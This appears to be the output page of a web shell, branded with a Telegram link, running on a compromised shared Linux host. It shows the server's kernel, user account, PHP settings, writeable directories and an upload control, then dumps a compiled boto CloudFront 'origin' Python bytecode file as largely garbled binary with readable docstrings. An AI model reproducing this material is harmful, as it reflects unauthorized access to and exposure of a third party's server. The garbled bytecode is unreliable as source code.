https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/boto/cloudfront/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/boto/cloudfront/__pycache__/origin.cpython-310.pyc
o

ckF[��@s8ddlmZdd�ZGdd�de�ZGdd�de�ZdS)	�)�OriginAccessIdentitycCst|t�r	|��S|S�N)�
isinstancer�uri)�origin_access_identity�r�8/usr/lib/python3/dist-packages/boto/cloudfront/origin.py�
get_oai_values
r	c@s:eZdZdZd
dd�Zdd�Zdd�Zd	d
�Zdd�ZdS)�S3Originz�
    Origin information to associate with the distribution.
    If your distribution will use an Amazon S3 origin,
    then you use the S3Origin element.
    NcCs||_||_dS)a
        :param dns_name: The DNS name of your Amazon S3 bucket to
                         associate with the distribution.
                         For example: mybucket.s3.amazonaws.com.
        :type dns_name: str
        
        :param origin_access_identity: The CloudFront origin access
                                       identity to associate with the
                                       distribution. If you want the
                                       distribution to serve private content,
                                       include this element; if you want the
                                       distribution to serve public content,
                                       remove this element.
        :type origin_access_identity: str
        
        N)�dns_namer)�selfrrrrr�__init__&s
zS3Origin.__init__cC�
d|jS)Nz<S3Origin: %s>�r�rrrr�__repr__:�
zS3Origin.__repr__cC�dSrr�r�name�attrs�
connectionrrr�startElement=�zS3Origin.startElementcCs4|dkr	||_dS|dkr||_dSt|||�dS)N�DNSNamer)rr�setattr�rr�valuerrrr�
endElement@s


zS3Origin.endElementcCs:d}|d|j7}|jrt|j�}|d|7}|d7}|S)Nz
  <S3Origin>
�    <DNSName>%s</DNSName>
z4    <OriginAccessIdentity>%s</OriginAccessIdentity>
z  </S3Origin>
)rrr	)r�s�valrrr�to_xmlHs
zS3Origin.to_xml)NN�	�__name__�
__module__�__qualname__�__doc__r
rrrr"rrrrr
s
r
c@s>eZdZdZ		ddd�Zdd�Zd	d
�Zdd�Zd
d�ZdS)�CustomOriginz�
    Origin information to associate with the distribution.
    If your distribution will use a non-Amazon S3 origin,
    then you use the CustomOrigin element.
    N�P�cCs||_||_||_||_dS)a8
        :param dns_name: The DNS name of your Amazon S3 bucket to
                         associate with the distribution.
                         For example: mybucket.s3.amazonaws.com.
        :type dns_name: str
        
        :param http_port: The HTTP port the custom origin listens on.
        :type http_port: int
        
        :param https_port: The HTTPS port the custom origin listens on.
        :type http_port: int
        
        :param origin_protocol_policy: The origin protocol policy to
                                       apply to your origin. If you
                                       specify http-only, CloudFront
                                       will use HTTP only to access the origin.
                                       If you specify match-viewer, CloudFront
                                       will fetch from your origin using HTTP
                                       or HTTPS, based on the protocol of the
                                       viewer request.
        :type origin_protocol_policy: str
        
        N�r�	http_port�
https_port�origin_protocol_policy)rrr,r-r.rrrr
Xs
zCustomOrigin.__init__cCr)Nz<CustomOrigin: %s>rrrrrrvrzCustomOrigin.__repr__cCrrrrrrrryrzCustomOrigin.startElementcCs�|dkr	||_dS|dkr#zt|�|_WdSty"||_YdSw|dkr=zt|�|_WdSty<||_YdSw|dkrF||_dSt|||�dS)Nr�HTTPPort�	HTTPSPort�OriginProtocolPolicy)r�intr,�
ValueErrorr-r.rrrrrr|s"
��
zCustomOrigin.endElementcCsHd}|d|j7}|d|j7}|d|j7}|d|j7}|d7}|S)Nz  <CustomOrigin>
rz    <HTTPPort>%d</HTTPPort>
z    <HTTPSPort>%d</HTTPSPort>
z4    <OriginProtocolPolicy>%s</OriginProtocolPolicy>
z  </CustomOrigin>
r+)rr rrrr"�szCustomOrigin.to_xml)Nr)r*Nr#rrrrr(Qs
�r(N)�boto.cloudfront.identityrr	�objectr
r(rrrr�<module>s2

https://t.me/RX1948 - 2025